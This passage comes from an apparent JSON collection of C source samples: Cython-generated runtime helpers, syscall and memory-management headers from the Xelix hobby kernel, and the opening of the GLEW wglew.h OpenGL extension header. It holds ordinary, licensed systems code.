PyErr_WriteUnraisable(ctx);\n        Py_DECREF(ctx);\n    }\n}\n\nstatic int __Pyx_check_binary_version(void) {\n    char ctversion[4], rtversion[4];\n    PyOS_snprintf(ctversion, 4, \"%d.%d\", PY_MAJOR_VERSION, PY_MINOR_VERSION);\n    PyOS_snprintf(rtversion, 4, \"%s\", Py_GetVersion());\n    if (ctversion[0] != rtversion[0] || ctversion[2] != rtversion[2]) {\n        char message[200];\n        PyOS_snprintf(message, sizeof(message),\n                      \"compiletime version %s of module '%.100s' \"\n                      \"does not match runtime version %s\",\n                      ctversion, __Pyx_MODULE_NAME, rtversion);\n        #if PY_VERSION_HEX < 0x02050000\n        return PyErr_Warn(NULL, message);\n        #else\n        return PyErr_WarnEx(NULL, message, 1);\n        #endif\n    }\n    return 0;\n}\n\nstatic int __Pyx_SetVtable(PyObject *dict, void *vtable) {\n#if PY_VERSION_HEX >= 0x02070000 && !(PY_MAJOR_VERSION==3&&PY_MINOR_VERSION==0)\n    PyObject *ob = PyCapsule_New(vtable, 0, 0);\n#else\n    PyObject *ob = PyCObject_FromVoidPtr(vtable, 0);\n#endif\n    if (!ob)\n        goto bad;\n    if (PyDict_SetItemString(dict, \"__pyx_vtable__\", ob) < 0)\n        goto bad;\n    Py_DECREF(ob);\n    return 0;\nbad:\n    Py_XDECREF(ob);\n    return -1;\n}\n\n#ifndef __PYX_HAVE_RT_ImportModule\n#define __PYX_HAVE_RT_ImportModule\nstatic PyObject *__Pyx_ImportModule(const char *name) {\n    PyObject *py_name = 0;\n    PyObject *py_module = 0;\n    py_name = __Pyx_PyIdentifier_FromString(name);\n    if (!py_name)\n        goto bad;\n    py_module = PyImport_Import(py_name);\n    Py_DECREF(py_name);\n    return py_module;\nbad:\n    Py_XDECREF(py_name);\n    return 0;\n}\n#endif\n\n#ifndef __PYX_HAVE_RT_ImportType\n#define __PYX_HAVE_RT_ImportType\nstatic PyTypeObject *__Pyx_ImportType(const char *module_name, const char *class_name,\n    size_t size, int strict)\n{\n    PyObject *py_module = 0;\n    PyObject *result = 0;\n    PyObject *py_name = 0;\n    char warning[200];\n    py_module = __Pyx_ImportModule(module_name);\n    if (!py_module)\n        goto bad;\n    py_name = __Pyx_PyIdentifier_FromString(class_name);\n    if (!py_name)\n        goto bad;\n    result = PyObject_GetAttr(py_module, py_name);\n    Py_DECREF(py_name);\n    py_name = 0;\n    Py_DECREF(py_module);\n    py_module = 0;\n    if (!result)\n        goto bad;\n    if (!PyType_Check(result)) {\n        PyErr_Format(PyExc_TypeError,\n            \"%s.%s is not a type object\",\n            module_name, class_name);\n        goto bad;\n    }\n    if (!strict && (size_t)((PyTypeObject *)result)->tp_basicsize > size) {\n        PyOS_snprintf(warning, sizeof(warning),\n            \"%s.%s size changed, may indicate binary incompatibility\",\n            module_name, class_name);\n        #if PY_VERSION_HEX < 0x02050000\n        if (PyErr_Warn(NULL, warning) < 0) goto bad;\n        #else\n        if (PyErr_WarnEx(NULL, warning, 0) < 0) goto bad;\n        #endif\n    }\n    else if ((size_t)((PyTypeObject *)result)->tp_basicsize != size) {\n        PyErr_Format(PyExc_ValueError,\n            \"%s.%s has the wrong size, try recompiling\",\n            module_name, class_name);\n        goto bad;\n    }\n    return (PyTypeObject *)result;\nbad:\n    Py_XDECREF(py_module);\n    Py_XDECREF(result);\n    return NULL;\n}\n#endif\n\nstatic void* __Pyx_GetVtable(PyObject *dict) {\n    void* ptr;\n    PyObject *ob = PyMapping_GetItemString(dict, (char *)\"__pyx_vtable__\");\n    if (!ob)\n        goto bad;\n#if PY_VERSION_HEX >= 0x02070000 && !(PY_MAJOR_VERSION==3&&PY_MINOR_VERSION==0)\n    ptr = PyCapsule_GetPointer(ob, 0);\n#else\n    ptr = PyCObject_AsVoidPtr(ob);\n#endif\n    if (!ptr && !PyErr_Occurred())\n        PyErr_SetString(PyExc_RuntimeError, \"invalid vtable found for imported type\");\n    Py_DECREF(ob);\n    return ptr;\nbad:\n    Py_XDECREF(ob);\n    return NULL;\n}\n\nstatic int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) {\n    int start = 0, mid = 0, end = count - 1;\n    if (end >= 0 && code_line > entries[end].code_line) {\n        return count;\n    }\n    while (start < end) {\n        mid = (start + end) / 2;\n        if (code_line < entries[mid].code_line) {\n            end = mid;\n        } else if (code_line > entries[mid].code_line) {\n             start = mid + 1;\n        } else {\n            return mid;\n        }\n    }\n    if (code_line <= entries[mid].code_line) {\n        return mid;\n    } else {\n        return mid + 1;\n    }\n}\nstatic PyCodeObject *__pyx_find_code_object(int code_line) {\n    PyCodeObject* code_object;\n    int pos;\n    if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) {\n        return NULL;\n    }\n    pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line);\n    if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) {\n        return NULL;\n    }\n    code_object = __pyx_code_cache.entries[pos].code_object;\n    Py_INCREF(code_object);\n    return code_object;\n}\nstatic void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) {\n    int pos, i;\n    __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries;\n    if (unlikely(!code_line)) {\n        return;\n    }\n    if (unlikely(!entries)) {\n        entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry));\n        if (likely(entries)) {\n            __pyx_code_cache.entries = entries;\n            __pyx_code_cache.max_count = 64;\n            __pyx_code_cache.count = 1;\n            entries[0].code_line = code_line;\n            entries[0].code_object = code_object;\n            Py_INCREF(code_object);\n        }\n        return;\n    }\n    pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line);\n    if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) {\n        PyCodeObject* tmp = entries[pos].code_object;\n        entries[pos].code_object = code_object;\n        Py_DECREF(tmp);\n        return;\n    }\n    if (__pyx_code_cache.count == __pyx_code_cache.max_count) {\n        int new_max = __pyx_code_cache.max_count + 64;\n        entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc(\n            __pyx_code_cache.entries, new_max*sizeof(__Pyx_CodeObjectCacheEntry));\n        if (unlikely(!entries)) {\n            return;\n        }\n        __pyx_code_cache.entries = entries;\n        __pyx_code_cache.max_count = new_max;\n    }\n    for (i=__pyx_code_cache.count; i>pos; i--) {\n        entries[i] = entries[i-1];\n    }\n    entries[pos].code_line = code_line;\n    entries[pos].code_object = code_object;\n    __pyx_code_cache.count++;\n    Py_INCREF(code_object);\n}\n\n#include \"compile.h\"\n#include \"frameobject.h\"\n#include \"traceback.h\"\nstatic PyCodeObject* __Pyx_CreateCodeObjectForTraceback(\n            const char *funcname, int c_line,\n            int py_line, const char *filename) {\n    PyCodeObject *py_code = 0;\n    PyObject *py_srcfile = 0;\n    PyObject *py_funcname = 0;\n    #if PY_MAJOR_VERSION < 3\n    py_srcfile = PyString_FromString(filename);\n    #else\n    py_srcfile = PyUnicode_FromString(filename);\n    #endif\n    if (!py_srcfile) goto bad;\n    if (c_line) {\n        #if PY_MAJOR_VERSION < 3\n        py_funcname = PyString_FromFormat( \"%s (%s:%d)\", funcname, __pyx_cfilenm, c_line);\n        #else\n        py_funcname = PyUnicode_FromFormat( \"%s (%s:%d)\", funcname, __pyx_cfilenm, c_line);\n        #endif\n    }\n    else {\n        #if PY_MAJOR_VERSION < 3\n        py_funcname = PyString_FromString(funcname);\n        #else\n        py_funcname = PyUnicode_FromString(funcname);\n        #endif\n    }\n    if (!py_funcname) goto bad;\n    py_code = __Pyx_PyCode_New(\n        0,            /*int argcount,*/\n        0,            /*int kwonlyargcount,*/\n        0,            /*int nlocals,*/\n        0,            /*int stacksize,*/\n        0,            /*int flags,*/\n        __pyx_empty_bytes, /*PyObject *code,*/\n        __pyx_empty_tuple, /*PyObject *consts,*/\n        __pyx_empty_tuple, /*PyObject *names,*/\n        __pyx_empty_tuple, /*PyObject *varnames,*/\n        __pyx_empty_tuple, /*PyObject *freevars,*/\n        __pyx_empty_tuple, /*PyObject *cellvars,*/\n        py_srcfile,   /*PyObject *filename,*/\n        py_funcname,  /*PyObject *name,*/\n        py_line,      /*int firstlineno,*/\n        __pyx_empty_bytes  /*PyObject *lnotab*/\n    );\n    Py_DECREF(py_srcfile);\n    Py_DECREF(py_funcname);\n    return py_code;\nbad:\n    Py_XDECREF(py_srcfile);\n    Py_XDECREF(py_funcname);\n    return NULL;\n}\nstatic void __Pyx_AddTraceback(const char *funcname, int c_line,\n                               int py_line, const char *filename) {\n    PyCodeObject *py_code = 0;\n    PyObject *py_globals = 0;\n    PyFrameObject *py_frame = 0;\n    py_code = __pyx_find_code_object(c_line ? c_line : py_line);\n    if (!py_code) {\n        py_code = __Pyx_CreateCodeObjectForTraceback(\n            funcname, c_line, py_line, filename);\n        if (!py_code) goto bad;\n        __pyx_insert_code_object(c_line ? c_line : py_line, py_code);\n    }\n    py_globals = PyModule_GetDict(__pyx_m);\n    if (!py_globals) goto bad;\n    py_frame = PyFrame_New(\n        PyThreadState_GET(), /*PyThreadState *tstate,*/\n        py_code,             /*PyCodeObject *code,*/\n        py_globals,          /*PyObject *globals,*/\n        0                    /*PyObject *locals*/\n    );\n    if (!py_frame) goto bad;\n    py_frame->f_lineno = py_line;\n    PyTraceBack_Here(py_frame);\nbad:\n    Py_XDECREF(py_code);\n    Py_XDECREF(py_frame);\n}\n\nstatic int __Pyx_InitStrings(__Pyx_StringTabEntry *t) {\n    while (t->p) {\n        #if PY_MAJOR_VERSION < 3\n        if (t->is_unicode) {\n            *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL);\n        } else if (t->intern) {\n            *t->p = PyString_InternFromString(t->s);\n        } else {\n            *t->p = PyString_FromStringAndSize(t->s, t->n - 1);\n        }\n        #else  /* Python 3+ has unicode identifiers */\n        if (t->is_unicode | t->is_str) {\n            if (t->intern) {\n                *t->p = PyUnicode_InternFromString(t->s);\n            } else if (t->encoding) {\n                *t->p = PyUnicode_Decode(t->s, t->n - 1, t->encoding, NULL);\n            } else {\n                *t->p = PyUnicode_FromStringAndSize(t->s, t->n - 1);\n            }\n        } else {\n            *t->p = PyBytes_FromStringAndSize(t->s, t->n - 1);\n        }\n        #endif\n        if (!*t->p)\n            return -1;\n        ++t;\n    }\n    return 0;\n}\n\n\n/* Type Conversion Functions */\n\nstatic CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) {\n   int is_true = x == Py_True;\n   if (is_true | (x == Py_False) | (x == Py_None)) return is_true;\n   else return PyObject_IsTrue(x);\n}\n\nstatic CYTHON_INLINE PyObject* __Pyx_PyNumber_Int(PyObject* x) {\n  PyNumberMethods *m;\n  const char *name = NULL;\n  PyObject *res = NULL;\n#if PY_VERSION_HEX < 0x03000000\n  if (PyInt_Check(x) || PyLong_Check(x))\n#else\n  if (PyLong_Check(x))\n#endif\n    return Py_INCREF(x), x;\n  m = Py_TYPE(x)->tp_as_number;\n#if PY_VERSION_HEX < 0x03000000\n  if (m && m->nb_int) {\n    name = \"int\";\n    res = PyNumber_Int(x);\n  }\n  else if (m && m->nb_long) {\n    name = \"long\";\n    res = PyNumber_Long(x);\n  }\n#else\n  if (m && m->nb_int) {\n    name = \"int\";\n    res = PyNumber_Long(x);\n  }\n#endif\n  if (res) {\n#if PY_VERSION_HEX < 0x03000000\n    if (!PyInt_Check(res) && !PyLong_Check(res)) {\n#else\n    if (!PyLong_Check(res)) {\n#endif\n      PyErr_Format(PyExc_TypeError,\n                   \"__%s__ returned non-%s (type %.200s)\",\n                   name, name, Py_TYPE(res)->tp_name);\n      Py_DECREF(res);\n      return NULL;\n    }\n  }\n  else if (!PyErr_Occurred()) {\n    PyErr_SetString(PyExc_TypeError,\n                    \"an integer is required\");\n  }\n  return res;\n}\n\nstatic CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) {\n  Py_ssize_t ival;\n  PyObject* x = PyNumber_Index(b);\n  if (!x) return -1;\n  ival = PyInt_AsSsize_t(x);\n  Py_DECREF(x);\n  return ival;\n}\n\nstatic CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) {\n#if PY_VERSION_HEX < 0x02050000\n   if (ival <= LONG_MAX)\n       return PyInt_FromLong((long)ival);\n   else {\n       unsigned char *bytes = (unsigned char *) &ival;\n       int one = 1; int little = (int)*(unsigned char*)&one;\n       return _PyLong_FromByteArray(bytes, sizeof(size_t), little, 0);\n   }\n#else\n   return PyInt_FromSize_t(ival);\n#endif\n}\n\nstatic CYTHON_INLINE size_t __Pyx_PyInt_AsSize_t(PyObject* x) {\n   unsigned PY_LONG_LONG val = __Pyx_PyInt_AsUnsignedLongLong(x);\n   if (unlikely(val == (unsigned PY_LONG_LONG)-1 && PyErr_Occurred())) {\n       return (size_t)-1;\n   } else if (unlikely(val != (unsigned PY_LONG_LONG)(size_t)val)) {\n       PyErr_SetString(PyExc_OverflowError,\n                       \"value too large to convert to size_t\");\n       return (size_t)-1;\n   }\n   return (size_t)val;\n}\n\n\n#endif /* Py_PYTHON_H */\n"
  },
  {
    "path": "samples/C/syscalldefs.h",
    "content": "static const syscalldef syscalldefs[] = {\n        [SYSCALL_OR_NUM(0, SYS_restart_syscall)]        = MAKE_UINT16(0, 1),\n        [SYSCALL_OR_NUM(1, SYS_exit)]         = MAKE_UINT16(1, 17),\n        [SYSCALL_OR_NUM(2, SYS_fork)]         = MAKE_UINT16(0, 22),\n};\n"
  },
  {
    "path": "samples/C/syscalls.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n#include <tasks/syscall.h>\n\n#include \"syscalls/write.h\"\n#include \"syscalls/exit.h\"\n#include \"syscalls/getpid.h\"\n#include \"syscalls/getppid.h\"\n#include \"syscalls/read.h\"\n#include \"syscalls/brk.h\"\n#include \"syscalls/mmap.h\"\n#include \"syscalls/munmap.h\"\n#include \"syscalls/test.h\"\n#include \"syscalls/hostname.h\"\n#include \"syscalls/uname.h\"\n#include \"syscalls/open.h\"\n#include \"syscalls/execve.h\"\n#include \"syscalls/seek.h\"\n#include \"syscalls/opendir.h\"\n#include \"syscalls/readdir.h\"\n#include \"syscalls/kill.h\"\n#include \"syscalls/getexecdata.h\"\n#include \"syscalls/cwd.h\"\n#include \"syscalls/fork.h\"\n\nsyscall_t syscall_table[] = {\n\tNULL,\n\tsys_exit,\t\t\t// 1\n\tsys_read,\t\t\t// 2\n\tsys_write,\t\t\t// 3\n\tsys_getpid,\t\t\t// 4\n\tsys_brk,\t\t\t// 5\n\tsys_getppid,\t\t// 6\n\tsys_mmap,\t\t\t// 7\n\tsys_munmap,\t\t\t// 8\n\tsys_test,\t\t\t// 9\n\tsys_get_hostname,\t// 10\n\tsys_set_hostname,\t// 11\n\tsys_uname,\t\t\t// 12\n\tsys_open,\t\t\t// 13\n\tsys_execve,\t\t\t// 14\n\tsys_seek,\t\t\t// 15\n\tsys_opendir,\t\t// 16\n\tsys_readdir,\t\t// 17\n\tsys_kill,\t\t\t// 18\n\tsys_getexecdata,\t// 19\n\tsys_chdir,\t\t\t// 20\n\tsys_getcwd,\t\t\t// 21\n\tsys_fork,\t\t\t// 22\n};\n\nchar* syscall_name_table[] = {\n\tNULL,\n\t\"exit\",\t\t\t// 1\n\t\"read\",\t\t\t// 2\n\t\"write\",\t\t// 3\n\t\"getpid\",\t\t// 4\n\t\"brk\",\t\t\t// 5\n\t\"getppid\",\t\t// 6\n\t\"mmap\",\t\t\t// 7\n\t\"munmap\",\t\t// 8\n\t\"test\",\t\t\t// 9\n\t\"get_hostname\",\t// 10\n\t\"set_hostname\",\t// 11\n\t\"uname\",\t\t// 12\n\t\"open\",\t\t\t// 13\n\t\"execve\",\t\t// 14\n\t\"seek\",\t\t\t// 15\n\t\"opendir\",\t\t// 16\n\t\"readdir\",\t\t// 17\n\t\"kill\",\t\t\t// 18\n\t\"getexecdata\",\t// 19\n\t\"chdir\",\t\t// 20\n\t\"getcwd\",\t\t// 21\n\t\"fork\",\t\t\t// 22\n};\n"
  },
  {
    "path": "samples/C/vfs.h",
    "content": "#pragma once\n\n/* Copyright © 2010, 2011 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n\n#define VFS_SEEK_SET 0\n#define VFS_SEEK_CUR 1\n#define VFS_SEEK_END 2\n\ntypedef struct {\n   uint64_t num;\n   char path[512];\n   char mount_path[512];\n   uint32_t offset;\n   uint32_t mountpoint;\n} vfs_file_t;\n\ntypedef struct {\n   uint64_t num;\n   char path[512];\n   char mount_path[512];\n   uint32_t mountpoint;\n} vfs_dir_t;\n\ntypedef void* (*vfs_read_callback_t)(char* path, uint32_t offset, uint32_t size);\ntypedef char* (*vfs_read_dir_callback_t)(char* path, uint32_t offset);\n\n\n// Used to always store the last read/write attempt (used for kernel panic debugging)\nchar vfs_last_read_attempt[512];\n\nvfs_file_t* vfs_get_from_id(uint32_t id);\nvfs_dir_t* vfs_get_dir_from_id(uint32_t id);\nvoid* vfs_read(vfs_file_t* fp, uint32_t size);\nchar* vfs_dir_read(vfs_dir_t* dir, uint32_t offset);\nvoid vfs_seek(vfs_file_t* fp, uint32_t offset, int origin);\nvfs_file_t* vfs_open(char* path);\nvfs_dir_t* vfs_dir_open(char* path);\nint vfs_mount(char* path, vfs_read_callback_t read_callback, vfs_read_dir_callback_t read_dir_callback);\n"
  },
  {
    "path": "samples/C/vmem.h",
    "content": "#pragma once\n\n/* Copyright © 2011 Fritz Grimpen\n * Copyright © 2013 Lukas Martini\n *\n * This file is part of Xelix.\n *\n * Xelix is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * Xelix is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with Xelix. If not, see <http://www.gnu.org/licenses/>.\n */\n\n#include <lib/generic.h>\n\nstruct vmem_context;\n\nstruct vmem_page\n{\n\tenum\n\t{\n\t\tVMEM_SECTION_STACK,   /* Initial stack */\n\t\tVMEM_SECTION_CODE,    /* Contains program code and is read-only */\n\t\tVMEM_SECTION_DATA,    /* Contains static data */\n\t\tVMEM_SECTION_HEAP,    /* Allocated by brk(2) at runtime */\n\t\tVMEM_SECTION_MMAP,    /* Allocated by mmap(2) at runtime */\n\t\tVMEM_SECTION_KERNEL,  /* Contains kernel-internal data */\n\t\tVMEM_SECTION_UNMAPPED /* Unmapped */\n\t} section;\n\n\tbool readonly:1;\n\tbool cow:1; /* Copy-on-Write mechanism */\n\tbool allocated:1;\n\n\tvoid *cow_src_addr;\n\tvoid *virt_addr;\n\tvoid *phys_addr;\n};\n\ntypedef void (*vmem_iterator_t)(struct vmem_context *, struct vmem_page *, uint32_t);\n\n/* Initialize vmem_kernelContext for paging_init() */\nvoid vmem_init();\nstruct vmem_context *vmem_kernelContext;\nstruct vmem_context *vmem_currentContext;\nstruct vmem_context *vmem_processContext;\nvoid *vmem_faultAddress;\n\n/* Some callbacks for magic functions */\nvoid (*vmem_applyPage)(struct vmem_context *, struct vmem_page *);\n\n/* Generate new page context */\nstruct vmem_context *vmem_new();\nstruct vmem_page *vmem_new_page();\n\nint vmem_add_page(struct vmem_context *ctx, struct vmem_page *pg);\n\nstruct vmem_page *vmem_get_page_phys(struct vmem_context *ctx, void *phys_addr);\nstruct vmem_page *vmem_get_page_virt(struct vmem_context *ctx, void *virt_addr);\nstruct vmem_page *vmem_get_page(struct vmem_context *ctx, uint32_t offset);\n\n/* Remove pages in a specific context by physical or virtual address */\nstruct vmem_page *vmem_rm_page_phys(struct vmem_context *ctx, void *phys_addr);\nstruct vmem_page *vmem_rm_page_virt(struct vmem_context *ctx, void *virt_addr);\n\n/* Iterator */\nint vmem_iterate(struct vmem_context *ctx, vmem_iterator_t callback);\n\nuint32_t vmem_count_pages(struct vmem_context *ctx);\nvoid vmem_dump_page(struct vmem_page *pg);\nvoid vmem_dump(struct vmem_context *ctx);\nvoid vmem_handle_fault(uint32_t code, void *addr, void *instruction);\n\n/* Get/Set cached paging context */\nvoid vmem_set_cache(struct vmem_context *ctx, void *cache);\nvoid *vmem_get_cache(struct vmem_context *ctx);\n\n#ifdef __i386__\n\t#define PAGE_SIZE 4096\n\t#define VMEM_ALIGN(x) (typeof(x))(((intptr_t)(x) & 0xFFFFF000) + 0x1000)\n\t#define VMEM_ALIGN_DOWN(x) (typeof(x))( \\\n\t\t((intptr_t)(x) - ((intptr_t)(x) % PAGE_SIZE)))\n#else\n\t#define PAGE_SIZE 0\n\t#define VMEM_ALIGN(x) (x)\n#endif\n"
  },
  {
    "path": "samples/C/wglew.h",
    "content": "/*\r\n** The OpenGL Extension Wrangler Library\r\n** Copyright (C) 2002-2008, Milan Ikits <milan ikits[]ieee org>\r\n** Copyright (C) 2002-2008, Marcelo E. Magallon <mmagallo[]debian org>\r\n** Copyright (C) 2002, Lev Povalahev\r\n** All rights reserved.\r\n** \r\n** Redistribution and use in source and binary forms, with or without \r\n** modification, are permitted provided that the following conditions are met:\r\n** \r\n** * Redistributions of source code must retain the above copyright notice, \r\n**   this list of conditions and the following disclaimer.\r\n** * Redistributions in binary form must reproduce the above copyright notice, \r\n**   this list of conditions and the following disclaimer in the documentation \r\n**   and/or other materials provided with the distribution.\r\n** * The name of the author may be used to endorse or promote products \r\n**   derived from this software without specific prior written permission.\r\n**\r\n** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\" \r\n** AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE \r\n** IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\r\n** ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE \r\n** LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR \r\n** CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF \r\n** SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\r\n** INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\r\n** CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\r\n** ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF\r\n** THE POSSIBILITY OF SUCH DAMAGE.\r\n*/\r\n\r\n/*\r\n** Copyright (c) 2007 The Khronos Group Inc.\r\n** \r\n** Permission is hereby granted, free of charge, to any person obtaining a\r\n** copy of this software and/or associated documentation files (the\r\n** \"Materials\"), to deal in the Materials without restriction, including\r\n** without limitation the rights to use, copy, modify, merge, publish,\r\n** distribute, sublicense, and/or sell copies of the Materials, and to\r\n** permit persons to whom the Materials are furnished to do so, subject to\r\n** the following conditions:\r\n** \r\n** The above copyright notice and this permission notice shall be included\r\n** in all copies or substantial portions of the Materials.\r\n** \r\n** THE MATERIALS ARE PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\r\n** EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\r\n** MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.\r\n** IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY\r\n** CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,\r\n** TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE\r\n** MATERIALS OR THE USE OR OTHER DEALINGS IN THE MATERIALS.\r\n*/\r\n\r\n#ifndef __wglew_h__\r\n#define __wglew_h__\r\n#define __WGLEW_H__\r\n\r\n#ifdef __wglext_h_\r\n#error wglext.h included before wglew.h\r\n#endif\r\n\r\n#define __wglext_h_\r\n\r\n#if !defined(WINAPI)\r\n#  ifndef WIN32_LEAN_AND_MEAN\r\n#    define WIN32_LEAN_AND_MEAN 1\r\n#  endif\r\n#include <windows.h>\r\n#  undef WIN32_LEAN_AND_MEAN\r\n#endif\r\n\r\n/*\r\n * GLEW_STATIC needs to be set when using the static version.\r\n * GLEW_BUILD is set when building the DLL version.\r\n */\r\n#ifdef GLEW_STATIC\r\n#  define GLEWAPI extern\r\n#else\r\n#  ifdef GLEW_BUILD\r\n#    define GLEWAPI extern __declspec(dllexport)\r\n#  else\r\n#    define GLEWAPI extern __declspec(dllimport)\r\n#  endif\r\n#endif\r\n\r\n#ifdef __cplusplus\r\nextern \"C\" {\r\n#endif\r\n\r\n/* -------------------------- WGL_3DFX_multisample ------------------------- */\r\n\r\n#ifndef WGL_3DFX_multisample\r\n#define WGL_3DFX_multisample 1\r\n\r\n#define WGL_SAMPLE_BUFFERS_3DFX 0x2060\r\n#define WGL_SAMPLES_3DFX 0x2061\r\n\r\n#define WGLEW_3DFX_multisample WGLEW_GET_VAR(__WGLEW_3DFX_multisample)\r\n\r\n#endif /* WGL_3DFX_multisample */\r\n\r\n/* ------------------------- WGL_3DL_stereo_control ------------------------ */\r\n\r\n#ifndef WGL_3DL_stereo_control\r\n#define WGL_3DL_stereo_control 1\r\n\r\n#define WGL_STEREO_EMITTER_ENABLE_3DL 0x2055\r\n#define WGL_STEREO_EMITTER_DISABLE_3DL 0x2056\r\n#define WGL_STEREO_POLARITY_NORMAL_3DL 0x2057\r\n#define WGL_STEREO_POLARITY_INVERT_3DL 0x2058\r\n\r\ntypedef BOOL (WINAPI * PFNWGLSETSTEREOEMITTERSTATE3DLPROC) (HDC hDC, UINT uState);\r\n\r\n#define wglSetStereoEmitterState3DL WGLEW_GET_FUN(__wglewSetStereoEmitterState3DL)\r\n\r\n#define WGLEW_3DL_stereo_control WGLEW_GET_VAR(__WGLEW_3DL_stereo_control)\r\n\r\n#endif /* WGL_3DL_stereo_control */\r\n\r\n/* ------------------------ WGL_AMD_gpu_association ------------------------ */\r\n\r\n#ifndef WGL_AMD_gpu_association\r\n#define WGL_AMD_gpu_association 1\r\n\r\n#define WGL_GPU_VENDOR_AMD 0x1F00\r\n#define WGL_GPU_RENDERER_STRING_AMD 0x1F01\r\n#define WGL_GPU_OPENGL_VERSION_STRING_AMD 0x1F02\r\n#define WGL_GPU_FASTEST_TARGET_GPUS_AMD 0x21A2\r\n#define WGL_GPU_RAM_AMD 0x21A3\r\n#define WGL_GPU_CLOCK_AMD 0x21A4\r\n#define WGL_GPU_NUM_PIPES_AMD 0x21A5\r\n#define WGL_GPU_NUM_SIMD_AMD 0x21A6\r\n#define WGL_GPU_NUM_RB_AMD 0x21A7\r\n#define WGL_GPU_NUM_SPI_AMD 0x21A8\r\n\r\ntypedef VOID (WINAPI * PFNWGLBLITCONTEXTFRAMEBUFFERAMDPROC) (HGLRC dstCtx, GLint srcX0, GLint srcY0, GLint srcX1, GLint srcY1, GLint dstX0, GLint dstY0, GLint dstX1, GLint dstY1, GLbitfield mask, GLenum filter);\r\ntypedef HGLRC (WINAPI * PFNWGLCREATEASSOCIATEDCONTEXTAMDPROC) (UINT id);\r\ntypedef HGLRC (WINAPI * PFNWGLCREATEASSOCIATEDCONTEXTATTRIBSAMDPROC) (UINT id, HGLRC hShareContext, const int* attribList);\r\ntypedef BOOL (WINAPI * PFNWGLDELETEASSOCIATEDCONTEXTAMDPROC) (HGLRC hglrc);\r\ntypedef UINT (WINAPI * PFNWGLGETCONTEXTGPUIDAMDPROC) (HGLRC hglrc);\r\ntypedef HGLRC (WINAPI * PFNWGLGETCURRENTASSOCIATEDCONTEXTAMDPROC) (void);\r\ntypedef UINT (WINAPI * PFNWGLGETGPUIDSAMDPROC) (UINT maxCount, UINT* ids);\r\ntypedef INT (WINAPI * PFNWGLGETGPUINFOAMDPROC) (UINT id, INT property, GLenum dataType, UINT size, void* data);\r\ntypedef BOOL (WINAPI * PFNWGLMAKEASSOCIATEDCONTEXTCURRENTAMDPROC) (HGLRC hglrc);\r\n\r\n#define wglBlitContextFramebufferAMD WGLEW_GET_FUN(__wglewBlitContextFramebufferAMD)\r\n#define wglCreateAssociatedContextAMD WGLEW_GET_FUN(__wglewCreateAssociatedContextAMD)\r\n#define wglCreateAssociatedContextAttribsAMD 